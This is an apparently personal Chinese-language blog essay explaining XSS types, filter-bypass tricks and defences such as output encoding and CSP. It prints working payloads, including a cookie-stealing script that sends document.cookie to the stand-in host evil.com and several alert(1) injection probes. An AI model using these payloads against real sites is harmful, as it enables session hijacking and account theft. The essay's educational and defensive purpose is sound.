一个搜索框，你输入 <script>alert(1)</script>，页面弹窗了。就这么简单，也这么危险。XSS 不是某种高深漏洞，它本质上就是浏览器把用户输入当代码执行了。我见过太多人觉得“不就是弹个窗嘛”，直到有人用同样的方式偷走 cookie、劫持会话、甚至控制整个后台。
先看一段最朴素的 payload：
<script>new Image().src='http://evil.com/steal?c='+document.cookie</script>
这行代码塞进某个留言板，每个访问该页面的用户都会悄悄把 cookie 发到攻击者服务器。没有弹窗，没有异常，安静得像什么都没发生。我曾在一次内部测试中，用类似手法拿到了管理员 session，全程不到三分钟。防御方甚至没在日志里看到任何可疑请求——因为图片请求太常见了。
XSS 分三类，但别被术语唬住。存储型最狠，payload 存进数据库，每个访客都中招。反射型靠钓鱼链接，得骗人点。DOM 型最隐蔽，服务器根本不知道发生了什么，全是前端 JavaScript 自己把 location.hash 或 innerHTML 玩坏了。去年有个案例，某电商搜索页把关键词直接写进 document.write，结果 ?q=<img src=x onerror=alert(1)> 就能触发。开发还嘴硬说“我们后端过滤了”，可 DOM 型压根不经过后端。
防御？别只想着过滤 <script>。攻击者能用 <img src=x onerror=...>，能用 <svg onload=...>，甚至 <body onpageshow=...>。编码才是正路。输出到 HTML 实体、属性、JS 变量、URL，各有各的编码规则。很多框架默认转义，但一旦你用 innerHTML 或 dangerouslySetInnerHTML，防护就碎了。我见过 React 项目里有人为了渲染富文本，直接开 dangerouslySetInnerHTML，还拍胸脯说“内容可信”。结果用户提交的“可信内容”里藏了 <iframe srcdoc=...>。
Content Security Policy 是个好东西，但别指望它兜底。script-src 'self' 能挡掉大部分内联脚本，可如果页面有 JSONP 端点或者允许 unsafe-eval，照样绕过。更别说有些老系统还在用 unsafe-inline，那 CSP 基本等于装饰。我习惯在浏览器控制台里手动测：输入 ';alert(1);// 看会不会断字符串，输入 <svg/onload=alert(1)> 看标签能不能注入。这些土办法比扫漏洞工具还快。
最后说个真事。某次代码审计，我看到一个过滤函数长这样：
function sanitize(input) { return input.replace(/<script>/gi, ''); } 攻击者用 <scr<script>ipt>alert(1)</script> 就绕了。过滤一次，替换后剩下的 <script> 又拼成了新标签。这种“过滤黑名单”的思路从根上就错了。正确做法是白名单加编码，而不是跟攻击者玩文字游戏。你永远想不到下一个 payload 长什么样，但你可以保证输出到页面的每个字符都老老实实当文本，而不是代码。
所以下次看到搜索框，别只想着搜东西。输入 <img src=x onerror=alert(1)>，看看它会不会弹。如果弹了，恭喜你，发现了一个 XSS。如果没弹，也别高兴太早——可能只是没回显，存储型还在数据库里躺着呢。